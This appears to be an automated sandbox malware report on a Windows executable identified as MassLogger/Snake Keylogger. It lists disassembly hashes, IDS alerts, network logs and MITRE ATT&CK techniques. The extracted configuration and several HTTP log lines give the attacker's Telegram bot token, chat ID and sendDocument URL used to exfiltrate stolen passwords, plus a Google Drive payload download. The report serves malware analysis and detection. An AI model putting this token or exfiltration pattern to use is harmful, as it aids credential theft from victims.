Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 001558E8 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;kq, xrefs: 001558FE
\;kq, xrefs: 0015591A
\;kq, xrefs: 001558F4
\;kq, xrefs: 00155926

Memory Dump Source

Source File: 00000004.00000002.2950174813.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_150000_c7WJL1gt32.jbxd

Similarity

API ID:
String ID: \;kq$\;kq$\;kq$\;kq
API String ID: 0-2874455797
Opcode ID: 84ff1ddd57a7272a40ae6d978701f50d16236bd97599de100e7b5dacb091e172
Instruction ID: 4b71cd3365e16447588c1dda4c303e3cd0bbe6e9a109b371ca4472c3324a44fb
Opcode Fuzzy Hash: 84ff1ddd57a7272a40ae6d978701f50d16236bd97599de100e7b5dacb091e172
Instruction Fuzzy Hash: 0E01B131740905CF8B248E2DC47092677E7AF9877A7264069E925CF3B4DB36DC458781

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000004.00000002.2950297414.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2950279090.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950342850.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950359482.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2950419658.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_c7WJL1gt32.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Source: 00000004.00000002.2978658417.0000000035B4A000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}
Source: c7WJL1gt32.exe.7856.4.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6D1EC CryptUnprotectData,		4_2_37B6D1EC
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4_2_37B6D9D9 CryptUnprotectData,		4_2_37B6D9D9

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:50021 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:50021 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:50016 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:50016 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:49968 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49968 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:49983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:50018 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:50018 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:49999 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49999 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:50014 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:50014 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31e0d8e507c4Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31f9f36ff63cHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3211933dfd44Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3257f8ac7e6aHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3296d7c0aa3cHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32dd306f6d66Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33301687c692Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220

Source: c7WJL1gt32.exe	Virustotal: Detection: 77%			Perma Link
Source: c7WJL1gt32.exe	ReversingLabs: Detection: 73%

Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B6C985h	4_2_37B6C638
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B61042h	4_2_37B60C28
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B60671h	4_2_37B603AF
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B6EA48h	4_2_37B6E790
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B61042h	4_2_37B60F6F
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B6E198h	4_2_37B6DEE1
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B6C041h	4_2_37B6BD88
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B6B791h	4_2_37B6B4D8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B61042h	4_2_37B60C1A
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B6EEA0h	4_2_37B6EBE8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B6E5F0h	4_2_37B6E339
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B6DD40h	4_2_37B6DA89
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B6C499h	4_2_37B6C1E0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B6BBE9h	4_2_37B6B930
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B6B339h	4_2_37B6B07F
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 37B6F2F8h	4_2_37B6F044
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then push 00000000h	4_2_3831BDF0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 3831882Dh	4_2_38318650
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 383191B7h	4_2_38318650
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38314ACAh	4_2_38314820
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38317318h	4_2_38317070
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38311B00h	4_2_38311858
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 383123B0h	4_2_38312108
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38312C60h	4_2_383129B8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 383154B0h	4_2_38315208
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38313510h	4_2_38313268
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38315D60h	4_2_38315AB8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38313DC0h	4_2_38313B18
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38316610h	4_2_38316368
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	4_2_38317B4F
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38314670h	4_2_383143C8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38316EC0h	4_2_38316C18
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 383116A8h	4_2_38311400
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38311F58h	4_2_38311CB0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38317770h	4_2_383174C8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38312808h	4_2_38312560
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38315058h	4_2_38314DB0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 383130B8h	4_2_38312E10
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38315908h	4_2_38315660
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38313968h	4_2_383136C0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 383161B8h	4_2_38315F10
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38314218h	4_2_38313F70
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38311250h	4_2_38310FA8
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then jmp 38316A68h	4_2_383167C0
Source: C:\Users\user\Desktop\c7WJL1gt32.exe	Code function: 4x nop then push 00000000h	4_2_3833E790

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49921 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49977 -> 132.226.8.169:80
Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.4:49890 -> 216.58.206.46:443

Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1bncLeLVnb6OXPt4SnyT95T-ITWrz3Wd8 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Host: drive.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=1bncLeLVnb6OXPt4SnyT95T-ITWrz3Wd8&export=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Cache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

